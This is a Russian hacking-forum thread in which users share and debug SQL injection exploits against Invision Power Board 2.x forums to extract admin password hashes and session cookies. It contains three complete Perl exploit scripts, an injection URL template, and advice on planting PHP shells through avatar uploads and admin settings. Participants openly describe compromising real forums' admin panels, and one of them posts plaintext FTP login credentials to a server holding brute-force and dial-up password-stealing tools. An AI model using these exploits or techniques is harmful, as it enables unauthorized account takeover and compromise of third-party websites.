PDA

Просмотр полной версии : Вопрос по exploit на форуме IPB 2.*


tester
21.07.2005, 04:01
Во первых как я заметил этот exploit вовсе те тегает hashi md5 а тегает куки ну это вовсем не важно проблема в том что когда я подставляю куки например прогой Inethack вродебы все нормально захожу под админом, то как начинаю ползать по форуму кука сбивается(не сохраняется) как быть кто знает? Пример запроса

GET http://xxxxx HTTP/1.0
Cookie: member_id=xxxx; pass_hash=xxxxxxxxxxxxxxxxxxxxxxxx;

Ктонибуть поможет с проблемой? или другие вариаты тоже подойдут :)

tester
21.07.2005, 20:22
и еще что это такое?
Simple Pass Hash : 49102481025548981025098539710057529955515655
101154529949541009952535397

turbodur
22.07.2005, 04:10
поимел много админок, но 5ть из 6ти имеют запрет на внедерение (загрузку) php в смайлы и аватары.
Посоветутйте плиз, как это можно обойти?

coyl
22.07.2005, 15:56
там можно свои настройки добавлять и в них вписывать произвольный пхп-код. поройся - найдешь

KEZ
22.07.2005, 16:04
Inethack
В первый раз слышу

turbodur
23.07.2005, 13:42
Фихня получаеться...
копалься в настройках, добился загрузки в аватар ПХП шелл, потом смотрю в свойства чтоб посмотреть ссылку, а там файл с расширением тхт - и не выполняеться как скрипт а выводиться как текст...
Где тут покопаться нужно?
И еще вопрос: можно ли в ИПБ выполнить приатаченый скрипт на ПХП, и как это сделать?

devil
31.07.2005, 06:57
у меня воще hash_00000000000000000000000000
чо за лаги?
как исправить7

AIN
31.07.2005, 09:06
Да чё вы мучайтесь возмите любой другой рабочи сплойт и переделайте

AIN
31.07.2005, 16:40
В общем я посмотрел ваш сплойт и действительно не то выдает
а точнее то но не так как надо! Проблема в том, что он не конвертирует
символы в Char формат! Он выводит коды символов.

Я не знаю PERL, но DELPHI/ASSEMBLER/SQL знаю отлично и просто подсказал
а кто знает C++/PERL/PHP думаю, смогут вам помочь.

Вот так он выводит соль
SALT : 381254586124

На самом деле это выгладит так
SALT : &}-V|

Проверим:
Зажмите клавишу ALT! И набирайте такие цифры на цифровой клавиатуре
ниже индикаторов (Num Lock Caps Lock Scroll Lock).
Набираем:
ALT - 38
ALT - 125
ALT - 45
ALT - 86
ALT - 124
---------------------- ВСЕ!

Такая же история и с Хеш!

И еще это не КУКИ а MD5(Соль/Пароль)
Алгоритм шифрований таков:
Допустим есть пароль: ADMIN
Оно рифруется так сначало шифруется MD5
затем программа (Система) генерирует случайный пароль! Мы его называем СОЛЬ!
и также шифрует его в MD5 а затем эти два присоединяет! И опять шифрует в MD5

Если хлтите увидеть глазами! Вот на этом сайте лежит три программы
SPIOD.narod.ru
1) Foripb. Это пример шифровании
2) IpbCrypt. Это Брут для IPB2 там вводите соль/pass_hash и словарь
3) GDI. Программа вытаскивает Dialup пароли а также Cookies.


В общем теперь осталось передать сплойт и все… Это будет в ipbCrypt v2.

WizART
31.07.2005, 16:40
и еще что это такое?
Simple Pass Hash : 49102481025548981025098539710057529955515655
101154529949541009952535397
Это ошибка в сплойте, где-то на другом форуме уже видел, если в сполйте исправишь то будет тебе хеш, вроде 109 строка...

Manoz
31.07.2005, 18:15
AIN - проги IpbCrypt там нету (error 404)

AIN
01.08.2005, 02:34
Если что лежит здесь:
FTP://spiod.h15.ru/www/foripb2.rar
login: spiod5
password: je73hQrR

SK | Heaton
01.08.2005, 08:04
у мя есть эксполойт от Greets: James Bercegay of the GulfTech Security Research Team
но ни как не могу сделать так чтоб она работала.. <SERVER> <PATH> <MEMBER ID> <TARGET>.. На форуме которую я хочу хакнуть не показывается рабочая папка форума.. Как можно найти эту рабочию папку и как узнать под каким названием он эту папку преименовал...

WizART
01.08.2005, 09:50
М-дааа...что-то ты глупость сказал, как же так что ты не можешь узнать рабочую папку!? Ведь как на форум заходишь, путь до форума и является рабочей папкой... лол...

SK | Heaton
01.08.2005, 10:17
2 WizarT, если ты такой умник.. у тя есть рабочий эксплойт для ИБП 2,0,4 ?!
И вообще у кого нить есть рабочий. Я тут нашел штук три одни выдают нули другие ошибки выдают..

Loo
01.08.2005, 13:34
SK | Heaton
нули, звёздочки и т.д. выдаёт, тк скрипт надо немного исправить..
ошибки, тк багу пофиксили..

SK | Heaton
01.08.2005, 13:50
2 Loo я знаю.. вот и спрашиваю у челов есть ли у них рабочий сплойд...

AIN
01.08.2005, 14:46
Нули выдают те которые немогут найти HASH то есть в место HASH нули...
А звездочки те эксплойты которые защещены! ПРОСТО сделай пойск $42 и замени
на переменую в цикле это может быть i/j/... ну многие ставят $i вместо $42

SK | Heaton
01.08.2005, 14:58
да я пробовал просто прочитал в одной статье что надо заменить в эксплойте r57ipb2.pl $allchar .= chr(42); на $allchar .= chr($char);...... но все равно не пашыт....
ё ма ё...

AIN
01.08.2005, 15:06
да я пробовал просто прочитал в одной статье что надо заменить в эксплойте r57ipb2.pl $allchar .= chr(42); на $allchar .= chr($char);...... но все равно не пашыт....
ё ма ё...


$allchar .= chr(42);
На
$allchar .= chr($i);

Вот и все!

SK | Heaton
01.08.2005, 15:45
2 Ain сиравно не пачит.. У тя есть рабочий эксплойд?!

WizART
02.08.2005, 00:40
ищи на rst.void.ru или ручками в яндексе..

AIN
02.08.2005, 02:49
2 Ain сиравно не пачит.. У тя есть рабочий эксплойд?!

1)
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

2)
#!/usr/bin/perl -w

# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org

# edited by rav3n http://skides.net.ru

use IO::Socket;

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $host = $ARGV[0]; # hostname
my $path = $ARGV[1] . 'index.php?act=Login&CODE=autologin';
my $user = $ARGV[2]; # userid to jack
my $iver = $ARGV[3]; # version 1 or 2
if($ARGV[4]) { $cpre = $ARGV[4] } else { $cpre = "" }
my $dbug = $ARGV[5]; # debug?
if (!$ARGV[3])
{
print "... By rav3n Usage: ipb_skides.pl site.org /forum/ [id] [ver1/2] [cookie_prefix] [debug].\n\n";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
my $outputs = '';

M1:
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*";
$cookie = $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "FAILED\n\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Cookie: $cookie\n";
print $socket "Connection: close\n\n";

# If we get a valid sql request then this
# does not appear anywhere in the Location header
$pattern = 'act=Login&CODE=';

$failed = 0;
while(<$socket>)
{
if($dbug) { print };
if(/$pattern/) { $failed = 1; }
}

if($failed==0){
$outputs .= $current;
print "$i char: $current\n";
next M1;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;


3)
http://www.board.com/forum/index.php?act=Search&nav=lv&CODE=show&
searchid={SESSION_ID}&search_in=topics&result_type=topics&hl=&st=20[SQL code]/*

GaD
02.08.2005, 10:05
первый код не работает пишит что-то типа про не верную переменную в строке 134, так есть у кого-нить рабочий? А второй хочет префикс к хеше чо это такое?

SK | Heaton
02.08.2005, 11:53
2 Ain первый грит Файлд, а третий форум который я хочу хакнуть эту диру закрили...

SK | Heaton
02.08.2005, 11:56
у меня вот этот сплойт работал а ща не работает......

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

Loo
02.08.2005, 15:44
SK | Heaton
ты думаешь все админы тупые и не ходят на securelab и ibresource???
AIN
2)$cookie = $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql;
это разве правильная строка??
3)http://www.board.com/forum/index.php?act=Search&nav=lv&CODE=show&
searchid={SESSION_ID}&search_in=topics&result_type=topics&hl=&st=20[SQL code]/*
это ваще бред какой-то.. что тебе это даст??

AIN
02.08.2005, 16:10
SK | Heaton
ты думаешь все админы тупые и не ходят на securelab и ibresource???
AIN
2)$cookie = $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql;
это разве правильная строка??
3)http://www.board.com/forum/index.php?act=Search&nav=lv&CODE=show&
searchid={SESSION_ID}&search_in=topics&result_type=topics&hl=&st=20[SQL code]/*
это ваще бред какой-то.. что тебе это даст??

2) Правельная!!! У меня все работает Ok.
3) А это я как то видел скачал НО НЕ ПРОВЕРЯЛ!

Loo
02.08.2005, 16:28
Ain
2)а что значит "31337420; "????

AIN
02.08.2005, 17:03
Ain
2)а что значит "31337420; "????
А НRеН его знает спроси у АВТОРА!

SK | Heaton
03.08.2005, 07:13
Ну если хрен, тогда не надо было вставлять на эту тему...

Azazel
03.08.2005, 19:18
Не хотите ничего учить - надо быть хотя-бы внимательней.
Правда от этого глаза устают... :)

WizART
04.08.2005, 20:10
лолы,читайте че это такое в исходном скрипте, видно же что member_id, значит номер пользователя...

Loo
04.08.2005, 23:03
WizART
да млин, ты тут не выпендривайся, это все понимают

WizART
05.08.2005, 22:21
а по-моему, нет.

BarNet
13.08.2005, 23:18
Скрипт работает. Выводит только хеш, тобиш куки...А вот соль не достает...MySQL 4.1.12 =(

WizART
14.08.2005, 02:44
=\ это как так?) мож у тя сплойт косой?

Azazel
14.08.2005, 02:51
Скрипт работает. Выводит только хеш, тобиш куки...А вот соль не достает...MySQL 4.1.12 =(
Так это же хорошо. Simple Pass Hash - всё что надо. Бруть его просто. Нафига с солью мудохаться?

coyl
14.08.2005, 22:23
ЭЭЭЭЭ! нука все рабочие сплоиты нафик! если автор сделал защиту, то неифига тут её убирать для всех. чтоб всякие лохи потом крушили все на своём пути. млин! не уберете - буду базарить с кезом.

undying
15.08.2005, 14:00
вот проверил:
#!/usr/bin/perl -w
################################################## ################
# This one actually works smile.gif Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
################################################## ################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver
1/2].\n\n";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ?
"99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2
527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre .
"pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;


Работает на IPB 2.0.14 вернее 4 на 6 форумов уязвимы :)
нщ к сожелению выдает нолики толко, наверное защита. Если кто найдет ошибку pls напишите мне на PW :)